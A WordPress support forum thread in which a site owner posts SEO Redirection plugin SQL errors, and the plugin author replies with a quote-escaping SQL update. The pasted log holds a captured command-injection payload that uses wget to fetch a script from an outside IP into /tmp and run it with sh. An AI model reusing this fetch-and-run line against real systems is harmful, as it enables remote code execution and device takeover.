Title: Error log &#8211; SQL syntax
Last modified: July 13, 2018

---

# Error log – SQL syntax

 *  Resolved [ma3ry](https://wordpress.org/support/users/ma3ry/)
 * (@ma3ry)
 * [7 years, 11 months ago](https://wordpress.org/support/topic/error-log-sql-syntax/)
 * I actually have several websites with SEO Redirection plugin and all of them 
   are giving me multiple errors such as the following. I don’t understand it and
   wonder if I could get some help fixing it please.
 *     ```
       [12-Jul-2018 20:51:13 UTC] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';wget http://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$/', LEFT( 
                      ' at line 7 for query SELECT * 
                                                       FROM   tseb_WP_SEO_Redirection 
                                                       WHERE  enabled = 1 
                                                              AND redirect_from_type = 'Replace' 
                                                              AND blog = '1' 
                                                              AND Instr ( 
                                                              'http://127.0.0.1/login.cgi?cli=aa aa';wget http://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$/', LEFT( 
                                                                      redirect_from, Locate('|', redirect_from) - 1))  limit 1  made by require('wp-blog-header.php'), wp, WP->main, do_action_ref_array, WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, SR_redirect_manager::redirect
       ```
   
 * Thank you.
    -  This topic was modified 7 years, 11 months ago by [ma3ry](https://wordpress.org/support/users/ma3ry/).
 * The page I need help with: _[[log in](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fwordpress.org%2Fsupport%2Ftopic%2Ferror-log-sql-syntax%2F%3Foutput_format%3Dmd&locale=en_US)
   to see the link]_

Viewing 2 replies - 1 through 2 (of 2 total)

 *  [Fakhri Alsadi](https://wordpress.org/support/users/fakhris/)
 * (@fakhris)
 * [7 years, 10 months ago](https://wordpress.org/support/topic/error-log-sql-syntax/#post-10491465)
 * hello,
    please backup your site database then access to your database and execute
   this SQL command:
 * UPDATE tseb_WP_SEO_Redirection SET `redirect_from` = replace(`redirect_from`,“‘”,“\'”)
 *  Thread Starter [ma3ry](https://wordpress.org/support/users/ma3ry/)
 * (@ma3ry)
 * [7 years, 10 months ago](https://wordpress.org/support/topic/error-log-sql-syntax/#post-10521155)
 * Thank you.

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘Error log – SQL syntax’ is closed to new replies.

 * ![](https://ps.w.org/seo-redirection/assets/icon-128x128.jpg?rev=983735)
 * [SEO Redirection Plugin - 301 Redirect Manager](https://wordpress.org/plugins/seo-redirection/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/seo-redirection/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/seo-redirection/)
 * [Active Topics](https://wordpress.org/support/plugin/seo-redirection/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/seo-redirection/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/seo-redirection/reviews/)

## Tags

 * [redirect](https://wordpress.org/support/topic-tag/redirect/)
 * [syntax error](https://wordpress.org/support/topic-tag/syntax-error/)

 * 2 replies
 * 2 participants
 * Last reply from: [ma3ry](https://wordpress.org/support/users/ma3ry/)
 * Last activity: [7 years, 10 months ago](https://wordpress.org/support/topic/error-log-sql-syntax/#post-10521155)
 * Status: resolved